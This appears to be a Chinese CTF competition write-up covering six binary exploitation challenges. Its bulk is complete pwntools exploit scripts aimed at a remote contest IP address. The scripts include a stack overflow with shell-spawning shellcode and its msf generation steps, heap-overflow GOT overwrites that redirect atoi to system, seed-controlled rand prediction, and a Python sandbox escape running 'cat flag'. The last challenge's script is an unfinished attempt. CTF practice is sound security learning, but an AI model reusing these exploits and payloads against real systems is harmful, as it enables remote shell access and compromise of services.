一.pwn1 簡單的32位棧溢出,定位溢出點後即可寫exp shellcode保存到bss段上,然後ret返回即可: 這裡有個坑點就是shellcode的截斷問題,在exp-db上找了好多個都執行不了最後好友提醒用msf生成吧,過程如下: 二.encrypt 這是個堆溢出,由於pwn經驗很少,做出的 ...
一.pwn1
簡單的32位棧溢出,定位溢出點後即可寫exp
gdb-peda$ r Starting program: /usr/iscc/pwn1 C'mon pwn me : AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A% Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0x41632541 ('A%cA') EBX: 0xb7fb6000 --> 0x1a5da8 ECX: 0xb7fb7884 --> 0x0 EDX: 0x1 ESI: 0x0 EDI: 0x0 EBP: 0xbffff478 --> 0x0 ESP: 0xbffff45c --> 0x8048607 (mov eax,0x0) EIP: 0x41632541 ('A%cA') EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x41632541 [------------------------------------stack-------------------------------------] 0000| 0xbffff45c --> 0x8048607 (mov eax,0x0) 0004| 0xbffff460 --> 0x80486c1 --> 0x1007325 0008| 0xbffff464 --> 0x804a060 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA"...) 0012| 0xbffff468 --> 0x804861b (add ebx,0x19b9) 0016| 0xbffff46c --> 0xb7fb6000 --> 0x1a5da8 0020| 0xbffff470 --> 0x8048610 (push ebp) 0024| 0xbffff474 --> 0x0 0028| 0xbffff478 --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x41632541 in ?? ()
shellcode保存到bss段上,然後ret返回即可:
#!/usr/bin/env python from pwn import * #p= process('./pwn1') p=remote('101.200.187.112',9004) ret = 0x0804a060 ppr=0x0804866e buf = "" buf += "\x89\xe0\xdd\xc7\xd9\x70\xf4\x5b\x53\x59\x49\x49\x49" buf += "\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43" buf += "\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41" buf += "\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42" buf += "\x58\x50\x38\x41\x42\x75\x4a\x49\x70\x6a\x74\x4b\x62" buf += "\x78\x5a\x39\x72\x72\x62\x46\x35\x38\x46\x4d\x42\x43" buf += "\x4b\x39\x69\x77\x43\x58\x56\x4f\x54\x33\x45\x38\x37" buf += "\x70\x63\x58\x54\x6f\x45\x32\x62\x49\x30\x6e\x4c\x49" buf += "\x6b\x53\x71\x42\x5a\x48\x73\x38\x75\x50\x47\x70\x43" buf += "\x30\x74\x6f\x65\x32\x50\x69\x50\x6e\x66\x4f\x54\x33" buf += "\x32\x48\x43\x30\x42\x77\x56\x33\x6c\x49\x38\x61\x78" buf += "\x4d\x6f\x70\x41\x41" payload = buf + "A" * (256 - len(buf)) + p32(ret) p.recvuntil(":") p.send(payload) #pwnlib.gdb.attach(p) p.interactive()
這裡有個坑點就是shellcode的截斷問題,在exp-db上找了好多個都執行不了最後好友提醒用msf生成吧,過程如下:
msf > use linux/x86/exec msf payload(exec) > set CMD /bin/sh CMD => /bin/sh msf payload(exec) > generate -b '\x00\xff\x0b' -t py
二.encrypt
這是個堆溢出,由於pwn經驗很少,做出的兩道堆溢出花的時間不少,首先定位溢出點:
程式會調用一個fastcall執行加密操作,通過溢出可以控制call指針,但是參數會有限制,不過沒關係,經過調試,用puts地址覆蓋,列印出來的就是setbuf的地址,然後就可計算atoi和system地址,atoi的got地址覆蓋堆頭索引指針,然後edit的時候可任意修改,代碼如下:
from pwn import * import pwnlib io=process('./encrypt') #io=remote('101.200.187.112',9005) def create(message): global io print io.recvuntil('4. Exit.\n') io.sendline('1') print io.recvuntil('Input your message :') io.sendline(message) print io.recvuntil('(1.No,2.Xor):') io.sendline('2') return def edit(id,message): global io print io.recvuntil('4. Exit.\n') io.sendline('3') print io.recvuntil('Give me message id :') io.sendline(id) print io.recvuntil('Input message :') io.sendline(message) return def encrypt(): global io print io.recvuntil('4. Exit.\n') io.sendline('2') print io.recvuntil('Give me message id :') io.sendline('1') return def main(): atoi_got=0x602060 b='bbbbbbbbbb' puts_addr=0x602018 d='x'*104+p64(0x602018) create('aaaaaaaaaaaa') create('bbbbbbbbbbbb') edit('1',d) encrypt() io.recvuntil('Encrypting your message...\n') leak=io.recvuntil('\n').split('\n')[0] #print leak leak_addr=leak.ljust(8,'\x00') print leak_addr setbuf_addr=u64(leak_addr) #print addr elfinfo=ELF('libc.so.6') system_offset=elfinfo.symbols["system"] setbuf_offset=elfinfo.symbols["setbuf"] system_addr=setbuf_addr+system_offset-setbuf_offset print "system_addr"+hex(system_addr) e='y'*104+p64(0x602060) create('cccc') create('dddd') edit('1',e) edit('1',p64(system_addr)) io.sendline('/bin/sh') io.interactive() return 0 if __name__ == '__main__': main()
三.guess
就是一個驗證隨機數的程式,通過read溢出可覆蓋變數控制seed的值,然後rand()值就可以預測
由於python和c的rand函數不是相同庫,想到的辦法就是本地寫個c程式生成可控的rand值,然後根據guess程式的演算法輸出相應的值,然後exp中輸入即可打開flag文件,c代碼如下:
#include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char *argv[]) { int i; int tmpra; int tmprb; int v4; int out; int a; unsigned long int seed; seed = atol(argv[1]); srand(seed); a=rand(); //printf("rand0:%x",a); out=(a % 99999) +1; printf("%d,",out); for(i=0;i<100;i++){ tmpra=rand(); //printf("rand1:%x",tmpra); srand(tmpra); v4=rand() % 99999 +1; printf("%d,",v4); } return 0; }
from pwn import * from time import time #p=process('./guess') p=remote('101.200.187.112',9001) p.recvuntil("name :") p.send('a'*44+'\n') #seed=0xa6381cc #rand=0x44236095 input=[80545,9914,27550,91153,83664,86214,7887,18283,53174,61984,11639,73445,333,60643,26474,44690,21086,28980,5071,67909,48736,55050,69515,81978,43669,93038,81153,37315,87517,81474,97252,39090,1696,51171,76214,73536,80801,95522,19591,94050,47416,84329,44491,71757,94530,18345,14566,95614,85330,45965,65491,97981,75077,43330,17867,99610,52953,83200,92236,50106,4908,98370,75042,31289,23534,5741,73297,96930,96565,55497,75901,69488,9730,24451,20904,88186,89446,34242,57487,22677,18298,85854,89419,12111,6258,51648,47335,3800,92937,58647,81683,38315,67822,22967,2731,95707,52191,53909,98160,48842,58249] for i in range(0,100): p.recvuntil("Now guess :") p.send(str(input[i])+'\n') p.interactive()
四.pyclac
這題不需要寫exp,nc連接即可,然後就是想辦法執行系統命令,先試下過濾的參數,發現os,open,等過濾了,又沒辦法直接導包,一開始想到eval繞過濾,然後去openflag文件,本地成功了,遠程卻沒有open功能,沒有包的原因吧,所以還得執行系統命令才行,os和subprocess的包沒有許可權導入,commans能行所以姿勢是這樣:__import__('commands').getoutput("ls"),__import__('commands').getoutput("cat flag")
五.bitshop
ida得知editshoppingnote的地方存在堆溢出,可覆蓋到第0塊的堆頭
__int64 note_sub_400DBF() { __int64 v0; // ST08_8@1 v0 = *MK_FP(__FS__, 40LL); printf("Input shopping note :"); read(0, (char *)qword_602100 + 4, 0x78uLL); // 可讀入120位元組 puts("Shopping note recorded!"); return *MK_FP(__FS__, 40LL) ^ v0; }
一開始思路錯了,想用dwshoot去doublefree,沒成功,gdb調了很久才發現可以修改堆頭指針,於是根據fastbin的原理,溢出控制fd指針的方法可以任意記憶體讀寫,接下來就類似於encrypt,修改atoi的地址為system拿shell。
from pwn import * import pwnlib #io=process('./bitshop') io=remote('101.200.187.112',9002) def add(len,name,content): global io print io.recvuntil('Your choice $') io.sendline('1') print io.recvuntil('length:') io.sendline(len) print io.recvuntil('comment:') io.sendline(content) print io.recvuntil('name:') io.sendline(name) return def edit(id,len,content): global io print io.recvuntil('Your choice $') io.sendline('2') print io.recvuntil(':') io.sendline(id) print io.recvuntil(':') io.sendline(len) print io.recvuntil('Input comment :') io.sendline(content) return def edit_note(note): global io print io.recvuntil('Your choice $') io.sendline('4') print io.recvuntil('note :') io.sendline(note) return def remove(id): print io.recvuntil('Your choice $') io.sendline('3') print io.recvuntil('id :') io.sendline(id) return def view(): print io.recvuntil('Your choice $') io.sendline('5') print io.recv() return def main(): io.recvuntil('plz input your name:') io.sendline('a'*33) print io.recvuntil('Your choice $') io.sendline('5') io.recvuntil('a'*32) leak=io.recvuntil('\n').split('\n')[0] leak_addr=leak.ljust(8,'\x00') print leak_addr print hex(u64(leak_addr)) ptr=u64(leak_addr) print hex(ptr) atoi_got=0x602088 payload1='a'*0x5c+p64(0)+p64(0x51)+p64(atoi_got)+p64(0x51) #......leak atoi_got add('64','a'*10,'a'*4) add('64','b'*10,'b'*4) remove('1') remove('0') #pwnlib.gdb.attach(io) add('64','c'*10,'cccc') edit_note(payload1) #pwnlib.gdb.attach(io) #add('64','d'*10,p64(atoi_got)) view() io.recvuntil('Comment : ') atoi=io.recvuntil('\n').split('\n')[0] print str(atoi) atoi_add=atoi.ljust(8,'\x00') atoi_addr=u64(atoi_add) print atoi_addr #change got elfinfo=ELF('libc.so.6') system_offset=elfinfo.symbols["system"] print system_offset atoi_offset=elfinfo.symbols["atoi"] print atoi_offset system_addr=atoi_addr+system_offset-atoi_offset #pwnlib.gdb.attach(io) print hex(system_addr) #pwnlib.gdb.attach(io) edit('2','32',p64(system_addr)) io.send('/bin/sh\n') io.interactive() if __name__ == '__main__': main()
五.library
這個沒有成功拿shell,c++程式的pwn的writeup比較少,搜到了某大牛的zctf pwn500: http://www.cnblogs.com/wangaohui/p/5211672.html,雖然沒能依葫蘆畫瓢,但還是受益匪淺,記錄下自己的分析過程和思路。
add_book可以多添加設定的size一個,所以溢出8位元組到下一堆頭,調試後發現可以泄露libc地址和堆地址,想到的方法是:
1.泄露出libc地址後,修改got,然而got並不能寫(為什麼呢)
2.又試著在堆塊內容里偽造presize,size,fd,bk利用溢出到下一堆塊的頭部修改下一堆塊的presize和size(這裡設定category大小為9即時可修改下一堆頭的size位,而8時只能溢出到size位),dw-shoot去利用,free前一塊後控制指針,然後可以任意編輯cate的頭部任意記憶體讀寫,這個方法還是沒有運用得嫻熟,所以沒成功,也不知道能不能行得通。
3.將計算好的system地址寫到堆內容中,然後修改堆頭的虛表指針使其指向保存system的堆地址,然後調用addbook,removebook等fastcall的時候會被劫持調用system函數,寫的exp能成功執行system,就是沒能想到怎麼傳/bin/sh。所以最終沒能成功做出這題,還是等看大神們是怎麼解的吧,這裡貼出沒成功的代碼,以便自己以後參考對比
# -*- coding: utf-8 -* from pwn import * import pwnlib #io=process('./library') io=remote('101.200.187.112',9003) def add_cate(len): global io print io.recvuntil('Your option $') io.sendline('1') print io.recvuntil('size : ') io.sendline(len) return def add_book(cateid,bookid): global io print io.recvuntil('Your option $') io.sendline('2') print io.recvuntil(': ') io.sendline(cateid) print io.recvuntil(':') io.sendline(bookid) return def get_id(cateid,bookid): global io print io.recvuntil('Your option $') io.sendline('3') print io.recvuntil(': ') io.sendline(cateid) print io.recvuntil(': ') io.sendline(bookid) return def remove_book(cateid): print io.recvuntil('Your option $') io.sendline('4') print io.recvuntil(': ') io.sendline(cateid) return def remove_cate(cateid): print io.recvuntil('Your option $') io.sendline('5') print io.recvuntil(': ') io.sendline(cateid) return def reset_cate(cateid,size): print io.recvuntil('Your option $') io.sendline('6') print io.recvuntil(': ') io.sendline(cateid) print io.recvuntil(': ') io.sendline(size) return def main(): add_cate('9') add_cate('9') remove_cate('1') reset_cate('0','4') get_id('0','1')#以上操作後就能泄露堆地址和虛表地址 io.recvuntil('Book ID is ') heada=io.recvuntil('\n') heada=int(heada) print heada get_id('0','2') io.recvuntil('Book ID is ') headb=io.recvuntil('\n') headb=int(headb) print headb get_id('0','3') #show got address io.recvuntil('Book ID is ') headc=io.recvuntil('\n') headc=int(headc) print headc headd=headc-0x380 heade=headb-0x80 #pwnlib.gdb.attach(io) atoi_got=headc-0xc0 add_cate('9') reset_cate('2','4') add_cate('9') add_book('2','0') add_book('2','0') add_book('2','0') add_book('2','0') add_book('2','0') add_book('2','49') add_book('2',str(headd)) add_book('2','8589934594') #200000002 add_book('2',str(atoi_got)) get_id('3','0') io.recvuntil('Book ID is ') atoiaddr=io.recvuntil('\n') atoiaddr=int(atoiaddr) print atoiaddr #pwnlib.gdb.attach(io) elfinfo=ELF('/lib/x86_64-linux-gnu/libc.so.6') system_offset=elfinfo.symbols["system"] print system_offset atoi_offset=elfinfo.symbols["atoi"] print atoi_offset system_addr=atoiaddr+system_offset-atoi_offset print system_addr #pwnlib.gdb.attach(io) #pwnlib.gdb.attach(io) remove_book('2') remove_book('2') add_book('2','4') add_book('2',str(heade)) #pwnlib.gdb.attach(io) add_book('3',str(system_addr)) add_book('3',str(system_addr)) add_book('3',str(system_addr)) add_book('3',str(system_addr)) remove_book('2') remove_book('2') remove_book('2') add_book('2',str(heade)) add_book('2','12884901892') add_book('2','29400045130965551')#/bin/sh add_book('3','29400045130965551') #pwnlib.gdb.attach(io) io.interactive() return 0 if __name__ == '__main__': main()